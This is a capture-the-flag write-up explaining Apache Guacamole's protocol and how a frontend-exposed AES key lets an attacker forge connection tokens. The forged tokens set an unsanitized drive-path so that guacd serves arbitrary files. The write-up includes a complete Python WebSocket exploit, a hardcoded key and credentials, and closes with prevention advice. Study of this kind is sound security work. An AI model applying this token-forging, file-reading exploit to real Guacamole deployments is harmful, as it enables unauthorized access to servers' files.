📃 Challenge Description

For a good Guacamole you need avocado, salt, pepper and some 🌶️. We will provide the base Guacamole, but you need to season it just right. And if you do so, the Guacamole will reveal its secrets to you.

You’ll get access to a (beautiful) Guacamole frontend. The frontend connects to the Guacamole backend via WebSocket. Eventually, the backend talks to the guacd component which establishes a connection to our Windows Server 2019.

Some more notes on our setup:

  • The VM runs without hardware acceleration 🤕 Wait for around 10 minutes after your session start. By then the VM is fully booted and actually quite responsive
  • Guacamole does not like the Windows OpenSSH Server algorithms, no SSH via Guacamole
  • You have internet access in the container(s)
  • You can use the docker-compose file to spin up your own instance of our setup. But remember: Some secrets are redacted in those files ;)

We also provide a local setup (docker-compose.yaml) for your testing. Some notes on this:

  • The Windows image is huge. But you don’t have to build it yourself! It is hosted on our public Docker registry
  • No hardware acceleration in this VM as well (we use the same container)
  • You get SSH access to the Windows VM via port 50022, which might help to overcome the missing clipboard :)

Part 1:

You goal for the first part is to obtain the flag on the guacd container component. It is located in /flag.txt

🔎 Research

We are given a folder with many subfolders and one docker-compose.yaml file, which registers 4 services:

  • win_server: A windows build exposing the ports for RDP and SSH
  • guac_frontend: A JS web app reachable at port 3000
  • guac_backend: A node webserver with guacamole-lite listening on port 8082
  • guac_guacd: the guacd component, where the flag is stored in /flag.txt

The services correspond to the infrastructure description from the challenge description.

Lets run all services with docker compose up and see what we get. Going to localhost:3000 presents us with the following beautifully designed web app:

Untitled

Lets choose SSH and click “Open Guacamole”.

Untitled

Nice, we have a SSH console to the windows server in our browser. So, what’s this Guacamole thing anyway?

🥑 Introducing Guacamole

Apache Guacamole is an open-source Project maintained by the Apache Software Foundation. It enables clientless remote desktop access. The clientless here means that no client software needs to be installed. All you need is a modern browser that supports the HTML5 Canvas API.

The Guacamole Infrastructure

Untitled

Guacamole consists of several independent components. On the left, you have the users browser. It talks to the Guacamole Client, which can implement user/connection management and other things. If a user wants to connect to a remote host, it initiates a WebSocket tunnel with the Guacamole Client and makes use of the guac-common-js library to handle the canvas drawing and the Guacamole Protocol. The Guacamole Client with the guacd component form the Guacamole Stack. The Guacamole Client tunnels the websocket connection with a browser to the guacd component. In guacd, for every new connection a new client process is spawned and the corresponding client plugin is loaded. Guacamole supports 5 backend protocols, so there are 5 different client plugins, namely

  • libguac-client-rdp
  • libguac-client-vnc
  • libguac-client-ssh
  • libguac-client-telnet
  • libguac-client-kubernetes

These client plugins handle all protocol specific things and connect to the remote host. They all use the common libguac library, that implements common resuable Guacamole stuff.

For the Guacamole Client, there are several possibilities to use:

  • Guacamole Lite: a lightweight client with no user/connection management, written in JS. (This is also the Client this challenge uses).
  • Official Guacamole Client: full client with user/connection management, written in Java.

As you can see, the guacd component is the main component that translates between host specific protocols and the Guacamole Protocol. But what exactly is the Guacamole Protocol?

Guacamole Protocol

The Guacamole Protocol is a text-based application layer protocol to abstract alll host-specific protocols into one general one. It consists of Instructions which are separated by a semicolon. Each instruction starts with the opcode name, followed by its arguments. Every part of a instruction is separated by a comma, and prefixed with a number indicating the length of the current part. You can see an example here:

Untitled

There are many different Instructions, for all sorts of things. A few examples include:

  • img, to start an image stream
  • mouse, to transfer mouse movement events
  • key, to transfer keyboard events
  • sync, to synchronise frames

You can find more details and a full Instruction listing on the Guacamole Protocol Reference.

With this knowledge, lets take a look into the connection establishment and handshake process.

Guacamole Protocol Communications

Untitled

The for now important parts are messages 4-12:

  • Message 4-6: After receiving a connection request, the Guacamole Client opens a TCP connection to guacd and sends the initial select request, providing information on which protocol to use or which connection to join. Guacd then either creates a new client process or marks the user as joined to an existing connection.
  • Message 8: The existing/newly created client process now starts advertising its connection options through the args instruction. In case of the libguac-client-rdp client, this messages looks like this:

Untitled

  • Message 9: Now the client and guacd can agree on more user specific settings such as the screen size, supported image mimetypes, supported audio mimetypes, supported video mimetypes, etc. The allowed instructions here are: size,audio,video,image,timezone,name.
  • Message 10: After all things are agreed, the client sends the final connect insn, which includes all chosen values for the connection options sent by guacd with the args insn. This message could like something like this:

Untitled

  • Message 11: Now guacd sends the final ready message to the client
  • Message 12: The ready message is proxied to the browser. This instruction is the first instruction that the browser receives from the client.
  • Message 13+: Now a connection loop is entered, where the connection to the remote host is opened and Guacamole Instructions are sent/received from both the browser and the client plugin inside guacd.

For anyone interested, i have uploaded a much more detailed version of this sequence diagram, that covers the full handshake and the important threads involved in a ssh guacamole connection, here.

Guacamole Data Exchange Features

After using Guacamole for some time, there comes the question to mind, how guacamole handles data exchange between the browser and the remote host. After all, you usually want to transfer files easily between these two parties, or want the clipboard to be shared. Guacamole has a few answers to this, which we will be looking at now:

Untitled

Guacamole supports SFTP upload/download functionality through specific instructions and terminal codes. The Guacamole stack acts as a direct proxy, forwarding any request directly to the other party (with some buffering involved).

Untitled

Guacamole supports a shared clipboard between the browser and remote host. However, the browser side still have to integrate with the host running the browser. The Guacamole Stack acts as a direct transient proxy here as well.

Untitled

Guacamole supports a shared drive, that is mounted to the RDP host. But wait a minute… this time however, the Guacamole Stack, and in particular only the guacd component acts as a persistent emulated filesystem, where data can be stored and retrieved from. We can see the relevant function calls inside the guac_rdp_client_thread:

void* guac_rdp_client_thread(void* data) {
    // [...]
    /* Load filesystem if drive enabled */
    if (settings->drive_enabled) {
        /* Allocate actual emulated filesystem */
        rdp_client->filesystem =
            guac_rdp_fs_alloc(client, settings->drive_path,
                    settings->create_drive_path, settings->disable_download,
                    settings->disable_upload);
        /* Expose filesystem to owner */
        guac_client_for_owner(client, guac_rdp_fs_expose,
                rdp_client->filesystem);
    }
    // [...]
}

The guac_rdp_fd_expose function sends a filesystem instruction with an object index to identify this filesystem. We can use the put/get instructions to interact with this filesystem and download/upload files.

📝 Vulnerability Description

While looking at the Associated connection settings to the Shared Drive feature, we notice one interesting option, drive-path. The code comment says the following about this setting:

/**
 * All settings supported by the Guacamole RDP client.
 */
typedef struct guac_rdp_settings {
    // [...]

    /**
     * The local system path which will be used to persist the
     * virtual drive.
     */
    char* drive_path;
    
    // [...]
}

As no checks are performed on this user-controlled path, we can enable the drive using enable-drive=True , set drive-path=/ and then use the get instruction to download /flag.txt on the guacd component.

🧠 Exploit Development

So lets mash some guacamoles and start by looking into how we could control the drive-path and enable-drive settings. As described earlier, the browser does not actively take part in the guacamole handshake. Only guacamole-lite and guacd perform the handshake. However, when looking at the initial request the browser made to initiate the guacamole connection, we can see some HTTP query parameters:

Untitled

specifically the token parameter looks interesting. Looking at the source code of the guac_frontent service reveals some delightful insights: The token parameter is a base64 encoded string of a encrypted connection object, which instructs the guacamole-lite service to use the specified connection settings during the handshake. Kindful enough, the encryption happens at the browser, so we can just extract the key from there and use it to encrypt our own connection object, in which we can also specify the enable-drive and drive-path setting then. Here are the relevant parts of the guac_frontend source code:

const CIPHER = 'aes-256-cbc';
const KEY = 'x9h9Ab3Bhz0LTleMygDVQQvkqWocr5EV';

function encryptToken(value) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(CIPHER, Buffer.from(KEY), iv);

  let encrypted = cipher.update(JSON.stringify(value), 'utf8', 'base64');
  encrypted += cipher.final('base64');

  const data = {
    iv: iv.toString('base64'),
    value: encrypted
  };

  const json = JSON.stringify(data);
  return Buffer.from(json).toString('base64');
}

const GuacamoleApp = () => {
  // [...]
  const openGc = async () => {
    window.Buffer = Buffer;
    try {
      var ele = document.getElementsByTagName('input');
      var protocol_type = "";
      var port = document.getElementById("port").value;
      for (var i = 0; i < ele.length; i++) {
        if (ele[i].type === "radio") {
          if (ele[i].checked)
            protocol_type = ele[i].value;
        }
      }
      const tokenObject = {
        connection: {
          type: protocol_type,
          settings: {
            "hostname": win_server_host,
            "username": "Administrator",
            "port": port,
            "password": "vagrant",
            "security": "any",
            "ignore-cert": true,
            "enable-wallpaper": true
          }
        }
      };
      const token = encryptToken(tokenObject);
      var wsurl = guac_backend_host;
      const gc = await new Guacamole.Client(new Guacamole.WebSocketTunnel(wsurl));
      const display = document.getElementById('gcdisplay');
      const element = gc.getDisplay().getElement();
      // [...]
      gc.connect(`token=${token}&height=800&width=` + document.getElementById("gcdisplay").offsetWidth.toString());
      // [...]
    } catch (error) {
      console.log("GC Error", error);
    }
  }
  // [...]
}

The relevant parts of the guacamole-lite source code, especially where the token is decrypted and used as the connection settings are here:

class ClientConnection {
  constructor(server, connectionId, webSocket) {
    // [...]
    this.server = server;
    this.connectionId = connectionId;
    this.webSocket = webSocket;
    this.query = Url.parse(this.webSocket.upgradeReq.url, true).query;
    this.log(this.server.LOGLEVEL.VERBOSE, 'Client connection open');
    try {
      this.connectionSettings = this.decryptToken();
      this.connectionType = this.connectionSettings.connection.type;
      this.connectionSettings['connection'] = this.mergeConnectionOptions();
    } catch (error) {
      this.log(this.server.LOGLEVEL.ERRORS, 'Token validation failed');
      this.close(error);
      return;
    }
    // [...]
  }
}

The extraction of the encryption key from the real challenge environment can be seen here. I just set a breakpoint at the relevant line and then looked at the_key variable.

Untitled

Untitled

With the key in hand, we can start writing our exploit program. I wrote a small encrypt_token routine, which basically just encrypts the connection object, then set the enable-drive and drive-path settings accordingly, and wrote a main connection loop, which waits for the first filesystem instruction to appear, and then immediately sends the 3.get,1.<obj_index>.9./flag.txt; instruction to download /flag.txt. The base64-encoded file contents are then sent back in a separate blob instruction. Simply decode it and you have the flag! The full exploit program can be seen below.

🔐 Exploit Program

import secrets
import base64
import json
import ssl
from websockets.sync.client import connect
from websockets.exceptions import ConnectionClosed
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# KEY = b'x9h9Ab3Bhz0LTleMygDVQQvkqWocr5EV'
KEY = b'https://en.wikipedia.org/wiki/Se'

def encrypt_token(value):
    iv = secrets.token_bytes(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
    encrypted = cipher.encrypt(pad(json.dumps(value).encode(), block_size=16))
    data = {
        "iv": base64.b64encode(iv).decode(),
        "value": base64.b64encode(encrypted).decode()
    }
    return base64.b64encode(json.dumps(data).encode()).decode()

protocol_ports = {
    "ssh": 50022,
    "rdp": 3389,
    "vnc": 5900,
}
protocol = "rdp"
token_obj = {
    "connection": {
        "type": protocol,
        "settings": {
            "hostname": "win-server", # use "localhost" on real challenge environment
            "username": "Administrator",
            "port": protocol_ports[protocol],
            "password": "vagrant",
            "enable-drive": True,
            "drive-path": "/",
        }
    }
}
token = encrypt_token(token_obj)

# in local testing
ssl_context = None
URL = "ws://localhost:8082"

# for real challenge environment
#ssl_context = ssl.create_default_context()
#ssl_context.check_hostname = False
#ssl_context.verify_mode = ssl.CERT_NONE
#URL = "wss://f7805a3de2524d1ed65e2a71-8082-guacamole-mashup.challenge.cscg.live:1337"

# connect to target
WS_URL = f"{URL!s}/?token={token!s}"
ws = connect(WS_URL, ssl_context=ssl_context)

def construct_insn(insn):
    insn = map(lambda x:f"{len(x)}.{x}", insn)
    return ",".join(insn) + ";"

def construct_insns(*insns):
    insns = map(construct_insn, insns)
    return "".join(insns)

def deconstruct_insn(insn):
    insn = insn.split(",")
    return list(map(lambda x:x.split(".", 1)[1], insn))

def deconstruct_insns(insns):
    insns = filter(lambda x:x, insns.split(";"))
    return list(map(deconstruct_insn, insns))

def send(msg):
    print(f"<< {msg!s}")
    ws.send(msg)

def send_insn(insn):
    send(construct_insn(insn))

def send_insns(*insns):
    send(construct_insns(*insns))

streams = [None for _ in range(64)] # pre allocate 64 streams
stream_insn = ["argv", "audio", "clipboard", "file", "pipe", "video"]
def handle_msg(msg: str) -> None:
    insns = deconstruct_insns(msg)
    for insn in insns:
        if insn[0] in stream_insn:
            streams[int(insn[1])] = insn[0]
        if insn[0] == "disconnect":
            ws.close()
        if insn[0] == "sync":
            send_insn(insn)
        elif insn[0] == "end":
            streams[int(insn[1])] = None
        elif insn[0] == "blob":
            if (streams[int(insn[1])] == "argv"):
                send_insn(["ack", insn[1], "Receiving argument values unsupported", "256"])
            else:
                send_insn(["ack", insn[1], "OK", "0"])
        elif insn[0] == "body":
            send_insn(["ack", insn[2], "OK", "0"])
        elif insn[0] == "filesystem":
            send_get(insn[1])

def send_get(obj_index):
    send_insns(
        ["get", str(obj_index), "/flag.txt"]
    )

while True:
    try:
        msg = ws.recv(timeout=1)
        print(f">> {msg[:100]!s}")
        handle_msg(msg)
    except TimeoutError:
        send_insn(["nop"])
        pass
    except ConnectionClosed:
        print("ConnectionClosed")
        break

💥 Run Exploit

Untitled

FLAG: CSCG{quack_mhh__?M0r3_like_guac}

🛡️ Possible Prevention

To begin with, the decision to use the guacd component as a persistent filesystem for shared drives, is very debatable. At least, they should sanitize the drive-path setting, or even better, use drive names/identifiers to identify a drive, which is then stored at a known and isolated location like /etc/guacamole/shared_drives/<drive_id>. This way, no sensitive files on the guacd container can be leaked (with the assumption of proper path sanitation). To me it is really unclear, why they didn’t do this earlier. In fact, in 2023 there was a pretty cool talk at HEXACON2023 about exploiting the guacd component, and the exploit also used the shared drive feature to read /proc/self/maps and therefore bypass ASLR (I linked the talk further below, i recommend to watch it, as it is really insightful). Reading system files on the guacd component isn’t really a feature, more like a bug.

🗃️ Further References

HEXACON2023 - An Avocado Nightmare by Stefan Schiller

Guacamole protocol reference — Apache Guacamole Manual v1.5.5

Apache Guacamole™: API Documentation

Apache Guacamole Manual — Apache Guacamole Manual v1.5.5

https://github.com/apache/guacamole-server